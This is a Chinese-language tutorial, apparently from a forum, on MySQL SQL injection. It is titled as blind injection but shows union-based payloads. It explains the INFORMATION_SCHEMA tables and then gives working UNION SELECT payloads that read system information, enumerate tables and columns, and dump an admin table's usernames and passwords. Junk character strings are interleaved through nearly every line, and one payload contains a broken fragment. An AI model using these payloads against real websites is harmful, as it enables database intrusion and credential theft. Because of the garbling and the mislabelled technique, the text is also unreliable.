本文介绍MYSQL盲注的一些语句和方法
, _: ^! Y8 `. {! d u$ k* R
. D3 T; [3 R7 S3 n+ |7 a4 M学习盲注前先了解下 IFORMATION_SCHEMA 库
4 M7 W( N/ m# R4 [3 E. R7 X$ n& d1 ~8 ^0 h
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有 o% m& Y$ K$ H# I% p4 Q
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
! G3 @% A9 H/ C8 F1.得到所有数据库名:% ~) y, V& g+ M' d- m
|SCHEMATA ->存储数据库名的表
6 X( x3 r* O2 m4 N|---字段:SCHEMA_NAME ->数据库名称6 k0 M5 e" I6 u5 R
% t8 s0 e/ W4 Z3 ^) M" s|TABLES ->存储表名
) G7 _1 c0 p3 d7 Y2 Q|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
' S c( Q9 r! y8 C& w6 {|---字段:TABLE_NAME ->存储表的表名
3 T9 g( z4 T2 G6 z' ] R- W0 K" m8 v- `9 i$ k% C
|COLUMNS ->存储的字段名表
; O% v \' x2 d% d6 u$ R+ p|---字段:TABLE_SCHEMA ->该字段所属数据库名' e, }9 U a! n* Q6 ?
|---字段:TABLE_NAME ->存储所属表的名称
6 j+ v! a' K3 H0 D+ r) |; F+ H: H# k* g; r3 X$ b
|---字段:COLUMN_NAME ->该字段的名称4 N" W- |) Z& _% ?8 @4 N. K" Y
: x o2 A5 |8 h) |( T& S* P $ i# M/ d3 r* B( b& I7 `* S
& H: U: A& ^7 v4 x8 {###########################################################################
% C: t' p( Y: j, Q6 ~
& }; _3 `) U1 n; i0x001 获取系统信息:
, U7 m% c: c0 ~( ` {, C; v8 M9 l4 Y+ m6 k4 M( B% r1 v( ^; y
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
) n3 Q, O7 {, `' r0 g- D; X! b8 Y& A
/*
; X% }% B* G3 }/ U Z, f4 E
7 @! @# ^& f1 k3 v4 r( u$ K@@global.version_compile_os 获取系统版本
) z# O) b: @/ q! C/ S" e4 o! f; g8 J3 q/ a) u8 j, ]8 e0 ^
@@datadir 数据库路径
3 {* ^9 z* T& Edatabase() 当前数据库名称! N) m" {1 T: O% X: u/ p1 s" R. `( q
0x3c62723e 换行HEX值" x, H; o7 C/ f: b( q' ?
1 k% `; d3 V8 u1 M
*/
1 C# H+ Q+ I& m) L, R) O1 U+ H! O7 Z1 a( ^% c/ @) B" P6 }
! g6 n8 [5 @1 U; U, q0 D
: h: P+ J" N% R7 L* v% R
######################################################################/ y0 l3 l( D6 P: p, { w
- H, @/ l! U9 C- N3 H. c1 t w0x002 获取表名
; y5 F% ~: {8 n6 O: l
5 O+ P1 V3 N" t4 @% k( g3 funion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
5 I. P: h% l; X4 O0 g2 B1 E4 q+ H1 E! J
# E' T" o5 b* Q8 y. O* r; s: T
! N" L6 k$ W" Z) n# G. f& N/*
6 }! P; k _' N7 S! B
, D& j3 B" R3 R0 v/ P2 y0x67617264656e 为当前数据库名# B; D6 y4 ^7 @, I
+ t, Z' W6 n4 I3 U0 A% Tgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名$ r( ?1 g( N& O7 Z, v( c8 ]4 `- u) p0 B
* b4 ?' ~5 D( I$ O$ Z/ c*/
9 t7 }! n9 p x
5 X! i3 W d% `2 Z( Z" { w) R) Z3 N######################################################################9 B! }) j1 d, W5 n0 Z2 r' t( K/ ]
* s* r7 o3 g$ r4 b: j# Q
5 A% |3 ?1 L" E! N7 ~- [
8 _" P0 `2 H$ s! b ~: ]/ k0x003 获取字段: K+ g# w3 Y+ P( F: {! O$ h
( C% F4 Y/ U* u) Junion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*7 H6 K( _$ P1 W" m# E9 _$ Q6 H
6 G2 F7 |2 M1 t, p" A2 k
/*
# i c. t& ^- X T& [4 v. u* x$ z7 D V# O- ~' L
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
2 J8 }2 T- p$ }
{( T$ s+ m( T6 @0x61646d696e ->选择一个表/ \! G, H3 F+ t& k! ]0 T) {
7 p& Z) [! d' ~; i7 I
0x67617264656e ->数据库名 L3 n5 E7 m k0 L0 Q4 f" \1 n5 ~8 p
! l1 O( ~: J! n" C; k0 _. l+ r7 l*/
' N1 r7 q5 o: P9 Y7 @4 x D
# ?/ }/ ~% d. h4 z2 g#####################################################################
4 p/ F3 ?( [2 j' a' i8 k/ w7 T
# @+ Z( W5 W# X1 |" S0 t3 s1 j; u 3 s7 Z1 d" r+ a% }5 b, m
- p; m. \: ?! u' z3 M( \6 ?0x004 获取数据2 Y1 c( G! a- y+ d, N
! i5 E# |% R2 I& q8 t
union select 1,2,3
9 f2 D7 _! T B$ B9 ]$ d" O! f6 {" ^1 T,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin( V7 |8 F% l, C' Y$ O( |
7 T" p( N/ ?; O% w, iunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
; g5 v, [3 F7 @+ x I; t' S, [/ O+ c$ j& e1 W
3 x4 M9 M& r+ b. W* i3 M% f8 w& k @; {6 K! X7 W2 l" \
/*
4 M) G1 {9 M y/ l4 M
3 q# x" ~1 Y0 r; t1 m$ ]; @0x3c62723e 换行符号HEX编码0 v# D1 n* |( E" a6 f4 K
/ C( b/ E( |; v9 f1 ?group_concat 同时获得该字段所有数据
# ?; T& e. k" D9 e1 c o
% X! k% m2 j4 V, q. n*/' z- {, E8 t: K& U) `" T5 I9 ~/ {
1 z- z% C8 z! V& I! a
|